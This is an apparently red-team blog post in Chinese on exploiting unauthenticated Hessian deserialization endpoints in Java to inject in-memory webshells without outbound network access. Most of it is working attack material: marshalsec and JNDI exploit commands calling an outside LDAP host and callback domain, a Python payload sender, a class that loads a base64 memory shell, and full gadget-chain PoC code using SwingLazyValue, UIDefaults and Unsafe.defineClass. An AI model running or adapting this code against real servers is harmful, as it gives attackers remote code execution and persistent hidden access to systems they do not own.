Java Hessian反序列化之原生JDK利用链分析以及不出网注入内存马
Java Hessian反序列化之漏洞原生JDK不出网注入内存马
场景
在一次攻防演练实战过程中遇到的场景,hessianService
接口未授权大概率是存在Hessian
反序列化漏洞。
在实战中大多场景是需要注入内存马以便后渗透,但大多文章只写了出网利用(打JNDI
),但是存在各种依赖限制和网络限制,于是在实战过程中想要不出网、无依赖限制注入内存马,于是有了这篇文章
出网利用
存在SpringAbstractBeanFactoryPointcutAdvisor
1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian SpringAbstractBeanFactoryPointcutAdvisor ldap://101.42.172.78:1389/deserialCommonsBeanutils1 | base64 -w0 > h
1
java -jar JNDI-Injection-Exploit-Plus-2.4-SNAPSHOT-all.jar -A "vps" -C "ping qtitjhozwt.iyhc.eu.org"
发包:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import argparse
def load(name):
header=b'\x63\x02\x00\x48\x00\x04'+b'test'
with open(name,'rb') as f:
return header+f.read()
def send(url,payload):
#proxies = {'http':'127.0.0.1:8888'}
headers={'Content-Type':'x-application/hessian'}
data=payload
res=requests.post(url,headers=headers,data=data)
return res.text
def main():
parser = argparse.ArgumentParser()
parser.add_argument("-u", help="hessian site url eg.http://127.0.0.1:8080/HessianTest/hessian")
parser.add_argument("-p",help="payload file")
args = parser.parse_args()
if args.u==None or args.p==None:
print('eg. python hessian.py -u http://127.0.0.1:8080/HessianTest/hessian -p hessian')
else:
send(args.u, load(args.p))
if __name__ == '__main__':
main()
不出网利用
Java Hessian 反序列化漏洞Only JDK 注入内存马
使用defineClass
加载内存马
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package ysoserial.Hessian2.poc;
import java.lang.reflect.InvocationTargetException;
public class EvilDefineClass {
static {
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
try {
java.lang.reflect.Method dc = ClassLoader.class.getDeclaredMethod("defineClass", String.class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gAoAAAALwAODkMHAHz+AAgHAHwHANMHAHz9ABcHAWcBLPkABQIIQgcAnAsNVAcAmg5HBwCaAAsAAAAIAAMAnACeAJoACAF5ABYAAQAHAAAAJQACAAAAAAAJuwACWbcBelexAAAAAQAZAAAACgACAAAAIQAIACIAAA==");
Class c = (Class) dc.invoke(classLoader, "org.apache.commons.lang.j.HttpUtil", code, 0, code.length);
c.newInstance();
} catch (NoSuchMethodException e) {
throw new RuntimeException(e);
} catch (InvocationTargetException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
} catch (InstantiationException e) {
throw new RuntimeException(e);
}
}
}
POC生成:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
package ysoserial.Hessian2.poc;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.caucho.hessian.io.SerializerFactory;
import org.apache.tomcat.util.buf.HexUtils;
import sun.swing.SwingLazyValue;
import javax.swing.*;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.security.ProtectionDomain;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
public class Poc {
static SerializerFactory serializerFactory = new SerializerFactory();
public static void main(String[] args) throws Exception {
FileInputStream fileInputStream = new FileInputStream("E:\\hvvdemo\\ysoserial-all\\ysoserial-master\\target\\classes\\ysoserial\\Hessian2\\poc\\EvilDefineClass.class");
byte[] bcode = new byte[fileInputStream.available()];
//bcode = Calc.genPayloadForWin();
fileInputStream.read(bcode);
System.out.println("bcode:" + Base64.getEncoder().encodeToString(bcode));
serializerFactory.setAllowNonSerializable(true);
Method invoke = sun.reflect.misc.MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
Method defineClass = sun.misc.Unsafe.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);
Field f = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
f.setAccessible(true);
Object unsafe = f.get(null);
Object[] ags = new Object[]{invoke, new Object(), new Object[]{defineClass, unsafe, new Object[]{"ysoserial.Hessian2.poc.EvilDefineClass", bcode, 0, bcode.length, null, null}}};
SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", ags);
SwingLazyValue swingLazyValue1 = new SwingLazyValue("ysoserial.Hessian2.poc.EvilDefineClass", null, new Object[0]);
Object[] keyValueList = new Object[]{"abc", swingLazyValue};
Object[] keyValueList1 = new Object[]{"ccc", swingLazyValue1};
UIDefaults uiDefaults1 = new UIDefaults(keyValueList);
UIDefaults uiDefaults2 = new UIDefaults(keyValueList);
UIDefaults uiDefaults3 = new UIDefaults(keyValueList1);
UIDefaults uiDefaults4 = new UIDefaults(keyValueList1);
Hashtable<Object, Object> hashtable1 = new Hashtable<>();
Hashtable<Object, Object> hashtable2 = new Hashtable<>();
Hashtable<Object, Object> hashtable3 = new Hashtable<>();
Hashtable<Object, Object> hashtable4 = new Hashtable<>();
hashtable1.put("a", uiDefaults1);
hashtable2.put("a", uiDefaults2);
hashtable3.put("b", uiDefaults3);
hashtable4.put("b", uiDefaults4);
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 4);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 4);
Array.set(tbl, 0, nodeCons.newInstance(0, hashtable1, hashtable1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, hashtable2, hashtable2, null));
Array.set(tbl, 2, nodeCons.newInstance(0, hashtable3, hashtable3, null));
Array.set(tbl, 3, nodeCons.newInstance(0, hashtable4, hashtable4, null));
setFieldValue(s, "table", tbl);
byte[] bytes = serObj(s);
System.out.println("63020048000464646464"+HexUtils.toHexString(bytes));
des(bytes);
}
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] serObj(HashMap s) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
HessianOutput hessianOutput = new HessianOutput(btout);
hessianOutput.setSerializerFactory(serializerFactory);
hessianOutput.writeObject(s);
hessianOutput.close();
return btout.toByteArray();
}
public static Object des(byte[] bytes) throws IOException {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
HessianInput hessianInput = new HessianInput(byteArrayInputStream);
try {
return hessianInput.readObject();
} catch (EOFException e) {
throw new IOException("Unexpected end of file while reading object", e);
}
}
}
原理分析
Hessian 相对比原生反序列化的利用链,有几个限制:
- gadget chain 起始方法只能为 hashCode/equals/compareTo 方法
- 利用链中调用的成员变量不能为 transient 修饰
- 所有的调用不依赖类中 readObject 的逻辑,也不依赖 getter/setter 的逻辑
目前常见的 Hessian 利用链在 marshalsec 中共有如下五个:
- Rome
- XBean
- Resin
- SpringPartiallyComparableAdvisorHolder
- SpringAbstractBeanFactoryPointcutAdvisor
0ctf2022 hessian-only-jdk writeup jdk原生链
探寻Hessian JDK原生反序列化不出网的任意代码执行利用链
调用栈:
1
2
3
4
5
6
7
8
9
10
11
12
createValue:67, SwingLazyValue (sun.swing)
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
equals:813, Hashtable (java.util)
equals:813, Hashtable (java.util)
putVal:634, HashMap (java.util)
put:611, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:577, SerializerFactory (com.caucho.hessian.io)
readObject:1160, HessianInput (com.caucho.hessian.io)
des:109, Poc (ysoserial.Hessian2.poc)
main:85, Poc (ysoserial.Hessian2.poc)
1
2
3
HessianInput#readObject()->HashMap#put()->Hashtable#equals()->UIDefaults#get()->SwingLazyValue#createValue()->sun.reflect.misc.MethodUtil#invoke()->任意方法调用加载字节码
HessianInput#readObject()->HashMap#put()->Hashtable#equals()->UIDefaults#get()->SwingLazyValue#createValue()->任意类实例化
任意方法调用使用sun.reflect.misc.MethodUtil
中的invoke
去调用sun.misc.Unsafe
的defineClass
方法去创建恶意类Evil
,在实例化时触发static
方法,Evil
类中的static
方法使用ClassLoader
的defineClass
将内存马字节码加载入JVM
。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static {
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
try {
java.lang.reflect.Method dc = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
dc.setAccessible(true);
byte[] code = java.util.Base64.getDecoder().decode("Base64编码的内存马字节码");
Class c = (Class) dc.invoke(classLoader, "内存马全类名", code, 0, code.length);
c.newInstance();
} catch (NoSuchMethodException e) {
throw new RuntimeException(e);
} catch (InvocationTargetException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
} catch (InstantiationException e) {
throw new RuntimeException(e);
}
}
至于这里为什么不直接使用sun.misc.Unsafe
的defineClass
方法去直接加载内存马,而是通过Evil
的static
方法做一个”中介”,是因为如果直接加载的情况会失败导致无法寻找到内存马类无法成功注入,采用这种”中介”的形式就解决了这个问题。
HashMap#put()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
/**
* Implements Map.put and related methods
*
* @param hash hash for key
* @param key the key
* @param value the value to put
* @param onlyIfAbsent if true, don't change existing value
* @param evict if false, the table is in creation mode.
* @return previous value, or null if none
*/
final V putVal(int hash, K key, V value, boolean onlyIfAbsent,
boolean evict) {
Node<K,V>[] tab; Node<K,V> p; int n, i;
if ((tab = table) == null || (n = tab.length) == 0)
n = (tab = resize()).length;
if ((p = tab[i = (n - 1) & hash]) == null)
tab[i] = newNode(hash, key, value, null);
else {
Node<K,V> e; K k;
if (p.hash == hash &&
((k = p.key) == key || (key != null && key.equals(k))))
e = p;
else if (p instanceof TreeNode)
e = ((TreeNode<K,V>)p).putTreeVal(this, tab, hash, key, value);
else {
for (int binCount = 0; ; ++binCount) {
if ((e = p.next) == null) {
p.next = newNode(hash, key, value, null);
if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st
treeifyBin(tab, hash);
break;
}
if (e.hash == hash &&
((k = e.key) == key || (key != null && key.equals(k))))//触发Hashtable#equals()
break;
p = e;
}
}
if (e != null) { // existing mapping for key
V oldValue = e.value;
if (!onlyIfAbsent || oldValue == null)
e.value = value;
afterNodeAccess(e);
return oldValue;
}
}
++modCount;
if (++size > threshold)
resize();
afterNodeInsertion(evict);
return null;
}
Hashtable#equals()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public synchronized boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<?,?> t = (Map<?,?>) o;
if (t.size() != size())
return false;
try {
Iterator<Map.Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Map.Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(t.get(key)==null && t.containsKey(key)))
return false;
} else {
if (!value.equals(t.get(key))) //当t触发UIDefaults#get()
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}
return true;
}
UIDefaults#get()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
public Object get(Object key) {
Object value = getFromHashtable( key );
return (value != null) ? value : getFromResourceBundle(key, null);
}
/**
* Looks up up the given key in our Hashtable and resolves LazyValues
* or ActiveValues.
*/
private Object getFromHashtable(final Object key) {
/* Quickly handle the common case, without grabbing
* a lock.
*/
Object value = super.get(key);
if ((value != PENDING) &&
!(value instanceof ActiveValue) &&
!(value instanceof LazyValue)) {
return value;
}
/* If the LazyValue for key is being constructed by another
* thread then wait and then return the new value, otherwise drop
* the lock and construct the ActiveValue or the LazyValue.
* We use the special value PENDING to mark LazyValues that
* are being constructed.
*/
synchronized(this) {
value = super.get(key);
if (value == PENDING) {
do {
try {
this.wait();
}
catch (InterruptedException e) {
}
value = super.get(key);
}
while(value == PENDING);
return value;
}
else if (value instanceof LazyValue) {
super.put(key, PENDING);
}
else if (!(value instanceof ActiveValue)) {
return value;
}
}
/* At this point we know that the value of key was
* a LazyValue or an ActiveValue.
*/
if (value instanceof LazyValue) {
try {
/* If an exception is thrown we'll just put the LazyValue
* back in the table.
*/
value = ((LazyValue)value).createValue(this);//SwingLazyValue#createValue()
}
finally {
synchronized(this) {
if (value == null) {
super.remove(key);
}
else {
super.put(key, value);
}
this.notifyAll();
}
}
}
else {
value = ((ActiveValue)value).createValue(this);
}
return value;
}
SwingLazyValue#createValue()
SwingLazyValue#createValue()
这里触发任意方法可以借助sun.reflect.misc.MethodUtil#invoke()
去加载恶意字节码。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public Object createValue(UIDefaults var1) {
try {
ReflectUtil.checkPackageAccess(this.className);
Class var2 = Class.forName(this.className, true, (ClassLoader)null);
Class[] var3;
if (this.methodName != null) {
var3 = this.getClassArray(this.args);
Method var6 = var2.getMethod(this.methodName, var3);
this.makeAccessible(var6);
return var6.invoke(var2, this.args);//任意方法调用
} else {
var3 = this.getClassArray(this.args);
Constructor var4 = var2.getConstructor(var3);
this.makeAccessible(var4);
return var4.newInstance(this.args);//实例化恶意类
}
} catch (Exception var5) {
return null;
}
}
恶意字节码示例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static byte[] genPayloadForWin() throws CannotCompileException, IOException {
// 获取 ClassPool 对象
ClassPool pool = ClassPool.getDefault();
// 创建 Evil 类
CtClass ctClass = pool.makeClass("Evil");
// 创建静态代码块
CtConstructor staticBlock = ctClass.makeClassInitializer();
staticBlock.setBody("{\n" +
" Runtime.getRuntime().exec(\"calc\");\n" +
"}");
ctClass.getClassFile().setMajorVersion(50);
// 生成的类字节码
return ctClass.toBytecode();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public static void main(String[] args) throws Exception {
//获取字节码
byte[] bcode = Calc.genPayloadForWin();
System.out.println("bcode:" + Base64.getEncoder().encodeToString(bcode));
//获取invoke方法
Method invoke = sun.reflect.misc.MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
//获取defineClass方法
Method defineClass = sun.misc.Unsafe.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);
//拿到sun.misc.Unsafe的theUnsafe字段
Field f = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
f.setAccessible(true);
//拿到sun.misc.Unsafe的theUnsafe字段的Unsafe对象
Object unsafe = f.get(null);
//构造sun.misc.Unsafe的defineClass方法的参数
Object[] objs = new Object[]{defineClass, unsafe, new Object[]{"Evil", bcode, 0, bcode.length, null, null}};
/*
public static Object invoke(Method var0, Object var1, Object[] var2)
参数:
Method method: 表示要调用的 java.lang.reflect.Method 对象。这个对象代表反射获取的一个类的方法。
Object obj: 表示调用该方法的目标对象。如果该方法是 static 方法,则这个参数可以为 null。
Object[] args: 表示传递给方法的参数数组。如果方法没有参数,可以传递 null 或一个空数组。
* */
//调用sun.misc.Unsafe的defineClass方法,创建Evil类
sun.reflect.misc.MethodUtil.invoke(defineClass,defineClass,new Object[]{"Evil", bcode, 0, bcode.length, null, null});
//实例化Evil触发static方法
Class.forName("Evil").newInstance();
}
}
本文由作者按照 CC BY 4.0 进行授权